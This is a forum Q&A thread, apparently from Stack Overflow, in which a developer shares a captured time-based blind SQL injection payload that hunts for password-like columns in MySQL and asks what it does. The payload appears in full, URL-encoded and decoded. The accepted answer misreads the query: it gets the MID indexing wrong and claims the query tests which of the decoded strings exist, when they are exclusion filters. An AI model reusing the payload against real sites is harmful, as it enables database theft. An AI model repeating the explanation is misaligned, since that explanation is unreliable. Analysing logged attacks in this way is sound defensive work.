Search code examples
sql-injection

What is that SQL injection supposed to do?

We recently had this sql injection attempt (rather successful tbh) on some of our beloved legacy code base.

/someFile.php?b=4430%20AND%20%28SELECT%209391%20FROM%20%28SELECT%28SLEEP%2832-%28IF%28ORD%28MID%28%28SELECT%20HEX%28IFNULL%28CAST%28COUNT%28DISTINCT%28table_schema%29%29%20AS%20NCHAR%29%2C0x20%29%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20column_name%20LIKE%200x257761636874776f6f726425%20AND%20table_schema%20%21%3D%200x696e666f726d6174696f6e5f736368656d61%20AND%20table_schema%20%21%3D%200x6d7973716c%20AND%20table_schema%20%21%3D%200x706572666f726d616e63655f736368656d61%20AND%20table_schema%20%21%3D%200x737973%29%2C1%2C1%29%29%3E1%2C0%2C32%29%29%29%29%29iOms%29

all fixed, blocked and reported but I'm still curious -
What is that query supposed to to? Just block resources (as in DOS) or gather information?

SELECT 9391
FROM (SELECT(SLEEP(32-(IF(ORD(MID(
                                    (SELECT HEX(IFNULL(CAST(COUNT(DISTINCT(table_schema)) AS NCHAR),0x20))
                                     FROM INFORMATION_SCHEMA.COLUMNS
                                     WHERE COLUMN_NAME LIKE 0x257761636874776f6f726425
                                       AND table_schema != 0x696e666f726d6174696f6e5f736368656d61
                                       AND table_schema != 0x6d7973716c
                                       AND table_schema != 0x706572666f726d616e63655f736368656d61
                                       AND table_schema != 0x737973),1, 1))>1, 0, 32)))))iOms

I don't get the HEX part of it...

Solution

  • The 5 hexidecimal values encode these strings:

    1. %wachtwoord%
    2. information_schema
    3. mysql
    4. performance_schema
    5. sys

    It's trying to use query execution time as a side channel to communicate the results of the query. It will call sleep for different amounts of time depending on the result of that large subquery.

    The result of the nested select statement is passed into mid, which then takes a 1-length substring starting at the 1st character. I.e., it's just fetching the character at index 1 (the second character).

    This string is passed to ord, which converts its first character into a number. This number is then subtracted from 32, and the query is made to sleep for that duration.

    If you'll notice, each of the 5 strings above has a unique second character. This query is figuring out which one of them exist, and is waiting a unique amount of time in response. By timing how long the queries take, the attackers can see which of those tables exists, which they can use which specific RDMSS you're using. From there, they can use the RDMSS-specific SQL dialect for their next commands.

    In other words: use prepared statements, folks. It's embarrassing that this is still an issue.